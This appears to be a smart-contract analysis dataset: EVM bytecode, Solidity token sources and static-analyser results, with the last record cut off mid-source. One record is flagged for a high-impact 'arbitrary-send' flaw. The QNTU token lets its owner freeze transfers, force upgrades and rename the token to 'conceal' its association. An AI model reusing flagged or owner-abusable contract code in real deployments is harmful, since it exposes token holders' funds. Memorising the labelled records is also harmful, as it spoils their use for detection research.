b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561153357600080fd5b600880548060010182816115479190612280565b9160005260206000209001600084909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600061168282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d057600080fd5b80600b8190555050565b600c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119a557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611b3557508073ffffffffffffffffffffffffffffffffffffffff16600c600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611b8057506000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611c3257600e54600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600c6000600e54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e600081548092919060010191905055505b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c7257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cbf57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d4a57600080fd5b611d9b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eff82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611ffd57fe5b818303905092915050565b600080600084141561201d576000915061203c565b828402905082848281151561202e57fe5b0414151561203857fe5b8091505b5092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561208057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156120cd57600080fd5b61211e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121b1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561227657fe5b8091505092915050565b8154818355818115116122a7578183600052602060002091820191016122a691906122ac565b5b505050565b6122ce91905b808211156122ca5760008160009055506001016122b2565b5090565b905600a165627a7a7230582024d8017d2715cf02f5a72e8a6159ea946d485376d5e3c01eb520cb8da0262b030029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,806
0x4234f63b1d202f6c016ca3b6a0d41d7d85f17716
pragma solidity 0.4.18; /** * @title ReceivingContract Interface * @dev ReceivingContract handle incoming token transfers. */ contract ReceivingContract { /** * @dev Handle incoming token transfers. * @param _from The token sender address. * @param _value The amount of tokens. */ function tokenFallback(address _from, uint _value) public; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint _a, uint _b) internal pure returns (uint) { if (_a == 0) { return 0; } uint c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint _a, uint _b) internal pure returns (uint) { // Solidity automatically throws when dividing by 0 uint c = _a / _b; return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint _a, uint _b) internal pure returns (uint) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint _a, uint _b) internal pure returns (uint) { uint c = _a + _b; assert(c >= _a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * Events */ event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Constructor * Sets the original `owner` of the contract to the sender account. */ function Ownable() public { owner = msg.sender; OwnershipTransferred(0, owner); } /** * @dev Allows the current owner to transfer control of the contract to a new owner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0); OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Standard ERC20 token */ contract StandardToken is Ownable { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) internal allowed; /** * Events */ event ChangeTokenInformation(string name, string symbol); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function changeTokenInformation(string _name, string _symbol) public onlyOwner { name = _name; symbol = _symbol; ChangeTokenInformation(_name, _symbol); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public returns (bool) { require(_to != 0); require(_value > 0); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value The amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public returns (bool) { require(_to != 0); require(_value > 0); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_addedValue > 0); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_subtractedValue > 0); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner The address which owns the funds. * @param _spender The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint) { return allowed[_owner][_spender]; } } /** * @title Pausable token * @dev Token that can be freeze "Transfer" function */ contract PausableToken is StandardToken { bool public isTradable = true; /** * Events */ event FreezeTransfer(); event UnfreezeTransfer(); modifier canTransfer() { require(isTradable); _; } /** * Disallow to transfer token from an address to other address */ function freezeTransfer() public onlyOwner { isTradable = false; FreezeTransfer(); } /** * Allow to transfer token from an address to other address */ function unfreezeTransfer() public onlyOwner { isTradable = true; UnfreezeTransfer(); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public canTransfer returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value The amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public canTransfer returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public canTransfer returns (bool) { return super.approve(_spender, _value); } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public canTransfer returns (bool) { return super.increaseApproval(_spender, _addedValue); } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public canTransfer returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title UpgradeAgent Interface * @dev Upgrade agent transfers tokens to a new contract. Upgrade agent itself can be the * token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { bool public isUpgradeAgent = true; function upgradeFrom(address _from, uint _value) public; } /** * @title Upgradable token */ contract UpgradableToken is StandardToken { address public upgradeMaster; // The next contract where the tokens will be migrated. UpgradeAgent public upgradeAgent; bool public isUpgradable = false; // How many tokens we have upgraded by now. uint public totalUpgraded; /** * Events */ event ChangeUpgradeMaster(address newMaster); event ChangeUpgradeAgent(address newAgent); event FreezeUpgrade(); event UnfreezeUpgrade(); event Upgrade(address indexed from, address indexed to, uint value); modifier onlyUpgradeMaster() { require(msg.sender == upgradeMaster); _; } modifier canUpgrade() { require(isUpgradable); _; } /** * Change the upgrade master. * @param _newMaster New upgrade master. */ function changeUpgradeMaster(address _newMaster) public onlyOwner { require(_newMaster != 0); upgradeMaster = _newMaster; ChangeUpgradeMaster(_newMaster); } /** * Change the upgrade agent. * @param _newAgent New upgrade agent. */ function changeUpgradeAgent(address _newAgent) public onlyOwner { require(totalUpgraded == 0); upgradeAgent = UpgradeAgent(_newAgent); require(upgradeAgent.isUpgradeAgent()); ChangeUpgradeAgent(_newAgent); } /** * Disallow to upgrade token to new smart contract */ function freezeUpgrade() public onlyOwner { isUpgradable = false; FreezeUpgrade(); } /** * Allow to upgrade token to new smart contract */ function unfreezeUpgrade() public onlyOwner { isUpgradable = true; UnfreezeUpgrade(); } /** * Token holder upgrade their tokens to a new smart contract. */ function upgrade() public canUpgrade { uint amount = balanceOf[msg.sender]; require(amount > 0); processUpgrade(msg.sender, amount); } /** * Upgrader upgrade tokens of holder to a new smart contract. * @param _holders List of token holder. */ function forceUpgrade(address[] _holders) public onlyUpgradeMaster canUpgrade { uint amount; for (uint i = 0; i < _holders.length; i++) { amount = balanceOf[_holders[i]]; if (amount == 0) { continue; } processUpgrade(_holders[i], amount); } } function processUpgrade(address _holder, uint _amount) private { balanceOf[_holder] = balanceOf[_holder].sub(_amount); // Take tokens out from circulation totalSupply = totalSupply.sub(_amount); totalUpgraded = totalUpgraded.add(_amount); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(_holder, _amount); Upgrade(_holder, upgradeAgent, _amount); } } /** * @title QNTU 1.0 token */ contract QNTU is UpgradableToken, PausableToken { /** * @dev Constructor */ function QNTU(address[] _wallets, uint[] _amount) public { require(_wallets.length == _amount.length); symbol = "QNTU"; name = "QNTU Token"; decimals = 18; uint num = 0; uint length = _wallets.length; uint multiplier = 10 ** uint(decimals); for (uint i = 0; i < length; i++) { num = _amount[i] * multiplier; balanceOf[_wallets[i]] = num; Transfer(0, _wallets[i], num); totalSupply += num; } } /** * @dev Transfer token for a specified contract * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transferToContract(address _to, uint _value) public canTransfer returns (bool) { require(_value > 0); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ReceivingContract receiver = ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value); Transfer(msg.sender, _to, _value); return true; } }
0x6060604052600436106101505763ffffffff60e060020a60003504166306fdde038114610155578063095ea7b3146101df57806318160ddd1461021557806323b872dd1461023a578063313ce567146102625780633c3ad0161461028b5780635074449d146102dc5780635479d940146102ef5780635de4ccb014610302578063600440cb1461033157806366188463146103445780636e5320d11461036657806370a08231146103f957806380cecea914610418578063875606a11461043a5780638da5cb5b1461044d57806395d89b4114610460578063a104dcd414610473578063a9059cbb14610492578063b662a73c146104b4578063c752ff62146104c7578063d445cc78146104da578063d55ec697146104ed578063d73dd62314610500578063dd62ed3e14610522578063ea56a44d14610547578063f2fde38b14610566578063f950db2b14610585575b600080fd5b341561016057600080fd5b610168610598565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b610201600160a060020a0360043516602435610636565b604051901515815260200160405180910390f35b341561022057600080fd5b61022861065b565b60405190815260200160405180910390f35b341561024557600080fd5b610201600160a060020a0360043581169060243516604435610661565b341561026d57600080fd5b610275610688565b60405160ff909116815260200160405180910390f35b341561029657600080fd5b6102da600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061069195505050505050565b005b34156102e757600080fd5b610201610744565b34156102fa57600080fd5b61020161074d565b341561030d57600080fd5b61031561075d565b604051600160a060020a03909116815260200160405180910390f35b341561033c57600080fd5b61031561076c565b341561034f57600080fd5b610201600160a060020a036004351660243561077b565b341561037157600080fd5b6102da60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061079995505050505050565b341561040457600080fd5b610228600160a060020a03600435166108e3565b341561042357600080fd5b610201600160a060020a03600435166024356108f5565b341561044557600080fd5b6102da610a48565b341561045857600080fd5b610315610a9b565b341561046b57600080fd5b610168610aaa565b341561047e57600080fd5b6102da600160a060020a0360043516610b15565b341561049d57600080fd5b610201600160a060020a0360043516602435610c0e565b34156104bf57600080fd5b6102da610c2c565b34156104d257600080fd5b610228610c93565b34156104e557600080fd5b6102da610c99565b34156104f857600080fd5b6102da610cef565b341561050b57600080fd5b610201600160a060020a0360043516602435610d3d565b341561052d57600080fd5b610228600160a060020a0360043581169060243516610d5b565b341561055257600080fd5b6102da600160a060020a0360043516610d86565b341561057157600080fd5b6102da600160a060020a0360043516610e1e565b341561059057600080fd5b6102da610eb9565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062e5780601f106106035761010080835404028352916020019161062e565b820191906000526020600020905b81548152906001019060200180831161061157829003601f168201915b505050505081565b600a5460009060ff16151561064a57600080fd5b6106548383610f26565b9392505050565b60045481565b600a5460009060ff16151561067557600080fd5b610680848484610f92565b949350505050565b60035460ff1681565b600754600090819033600160a060020a039081169116146106b157600080fd5b60085460a060020a900460ff1615156106c957600080fd5b5060005b825181101561073f57600560008483815181106106e657fe5b90602001906020020151600160a060020a03168152602081019190915260400160002054915081151561071857610737565b61073783828151811061072757fe5b90602001906020020151836110c9565b6001016106cd565b505050565b600a5460ff1681565b60085460a060020a900460ff1681565b600854600160a060020a031681565b600754600160a060020a031681565b600a5460009060ff16151561078f57600080fd5b61065483836111e9565b60005433600160a060020a039081169116146107b457600080fd5b60018280516107c79291602001906114a5565b5060028180516107db9291602001906114a5565b507ff97bb93f16c08265c9826aa07a56cf41728df50b0093d6ad5d0215621bdbf6d08282604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015610840578082015183820152602001610828565b50505050905090810190601f16801561086d5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156108a357808201518382015260200161088b565b50505050905090810190601f1680156108d05780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a15050565b60056020526000908152604090205481565b600a54600090819060ff16151561090b57600080fd5b6000831161091857600080fd5b600160a060020a033316600090815260056020526040902054610941908463ffffffff6112f116565b600160a060020a033381166000908152600560205260408082209390935590861681522054610976908463ffffffff61130316565b600160a060020a038516600081815260056020526040908190209290925585925090633b66d02b90339086905160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156109e357600080fd5b6102c65a03f115156109f457600080fd5b50505083600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405190815260200160405180910390a35060019392505050565b60005433600160a060020a03908116911614610a6357600080fd5b600a805460ff191690557fb4dbbcf33046b7ccb818025ea4914bb345d8025fef300942afe93e9d8b73e6f960405160405180910390a1565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062e5780601f106106035761010080835404028352916020019161062e565b60005433600160a060020a03908116911614610b3057600080fd5b60095415610b3d57600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169190911791829055166361d3d7a66000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610ba857600080fd5b6102c65a03f11515610bb957600080fd5b505050604051805190501515610bce57600080fd5b7f9120de04043d2b48750b029e0af279f60251553365aa3fc23ee8d2161ed02bc081604051600160a060020a03909116815260200160405180910390a150565b600a5460009060ff161515610c2257600080fd5b6106548383611312565b60005433600160a060020a03908116911614610c4757600080fd5b6008805474ff0000000000000000000000000000000000000000191690557ff16e551f33451711621830fd6c7873a4d7fb065b97e0f1519599a4559cf5e5a560405160405180910390a1565b60095481565b60005433600160a060020a03908116911614610cb457600080fd5b600a805460ff191660011790557f6b28a9ea65b0490a70c326753837660974732ce02a120ef66e0a0ee1e91ba51360405160405180910390a1565b60085460009060a060020a900460ff161515610d0a57600080fd5b50600160a060020a033316600090815260056020526040812054908111610d3057600080fd5b610d3a33826110c9565b50565b600a5460009060ff161515610d5157600080fd5b61065483836113f5565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610da157600080fd5b600160a060020a0381161515610db657600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f8f3956a45b725a7c48b08fdff733c3b1c95502c2d7537b685557b0279b85381d81604051600160a060020a03909116815260200160405180910390a150565b60005433600160a060020a03908116911614610e3957600080fd5b600160a060020a0381161515610e4e57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610ed457600080fd5b6008805474ff0000000000000000000000000000000000000000191660a060020a1790557f1180ded4e87fc2487b12b01ab13e067f1d4df53b2a226e7aaac784c4d6717dae60405160405180910390a1565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610fa957600080fd5b60008211610fb657600080fd5b600160a060020a038416600090815260056020526040902054610fdf908363ffffffff6112f116565b600160a060020a038086166000908152600560205260408082209390935590851681522054611014908363ffffffff61130316565b600160a060020a0380851660009081526005602090815260408083209490945587831682526006815283822033909316825291909152205461105c908363ffffffff6112f116565b600160a060020a03808616600081815260066020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a0382166000908152600560205260409020546110f2908263ffffffff6112f116565b600160a060020a03831660009081526005602052604090205560045461111e908263ffffffff6112f116565b600455600954611134908263ffffffff61130316565b600955600854600160a060020a031663753e88e5838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561118d57600080fd5b6102c65a03f1151561119e57600080fd5b5050600854600160a060020a03908116915083167f7e5c344a8141a805725cb476f76c6953b842222b967edd1f78ddb6e8b3f397ac8360405190815260200160405180910390a35050565b6000808083116111f857600080fd5b50600160a060020a033381166000908152600660209081526040808320938716835292905220548083111561125457600160a060020a03338116600090815260066020908152604080832093881683529290529081205561128b565b611264818463ffffffff6112f116565b600160a060020a033381166000908152600660209081526040808320938916835292905220555b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000828211156112fd57fe5b50900390565b60008282018381101561065457fe5b6000600160a060020a038316151561132957600080fd5b6000821161133657600080fd5b600160a060020a03331660009081526005602052604090205461135f908363ffffffff6112f116565b600160a060020a033381166000908152600560205260408082209390935590851681522054611394908363ffffffff61130316565b600160a060020a0380851660008181526005602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600080821161140357600080fd5b600160a060020a03338116600090815260066020908152604080832093871683529290522054611439908363ffffffff61130316565b600160a060020a0333811660008181526006602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e657805160ff1916838001178555611513565b82800160010185558215611513579182015b828111156115135782518255916020019190600101906114f8565b5061151f929150611523565b5090565b61153d91905b8082111561151f5760008155600101611529565b905600a165627a7a723058207b2322c984aba8e3e0ec830a52d277a41c06b6784a66d81856018224b990ea680029
{"success": true, "error": null, "results": {}}
6,807
0xF2aC5caa606F53702B8A7B9ee1c798277Bd7e8dB
pragma solidity 0.5.6; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; address public delegate; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), owner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "You must be owner."); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Invalid new owner address."); delegate = newOwner; } function confirmChangeOwnership() public { require(msg.sender == delegate, "You must be delegate."); emit OwnershipTransferred(owner, delegate); owner = delegate; delegate = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplying uint256 overflow."); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Dividing by zero is not allowed."); uint256 c = a / b; return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Negative uint256 is now allowed."); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Adding uint256 overflow."); return c; } } contract TransferFilter is Ownable { bool public isTransferable; mapping( address => bool ) internal mapAddressPass; mapping( address => bool ) internal mapAddressBlock; event LogSetTransferable(bool transferable); event LogFilterPass(address indexed target, bool status); event LogFilterBlock(address indexed target, bool status); // if Token transfer modifier checkTokenTransfer(address source) { if (isTransferable) { require(!mapAddressBlock[source], "Source address is in block filter."); } else { require(mapAddressPass[source], "Source address must be in pass filter."); } _; } constructor() public { isTransferable = true; } function setTransferable(bool transferable) external onlyOwner { isTransferable = transferable; emit LogSetTransferable(transferable); } function isInPassFilter(address user) external view returns (bool) { return mapAddressPass[user]; } function isInBlockFilter(address user) external view returns (bool) { return mapAddressBlock[user]; } function addressToPass(address[] calldata target, bool status) external onlyOwner { for( uint i = 0 ; i < target.length ; i++ ) { address targetAddress = target[i]; bool old = mapAddressPass[targetAddress]; if (old != status) { if (status) { mapAddressPass[targetAddress] = true; emit LogFilterPass(targetAddress, true); } else { delete mapAddressPass[targetAddress]; emit LogFilterPass(targetAddress, false); } } } } function addressToBlock(address[] calldata target, bool status) external onlyOwner { for( uint i = 0 ; i < target.length ; i++ ) { address targetAddress = target[i]; bool old = mapAddressBlock[targetAddress]; if (old != status) { if (status) { mapAddressBlock[targetAddress] = true; emit LogFilterBlock(targetAddress, true); } else { delete mapAddressBlock[targetAddress]; emit LogFilterBlock(targetAddress, false); } } } } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public 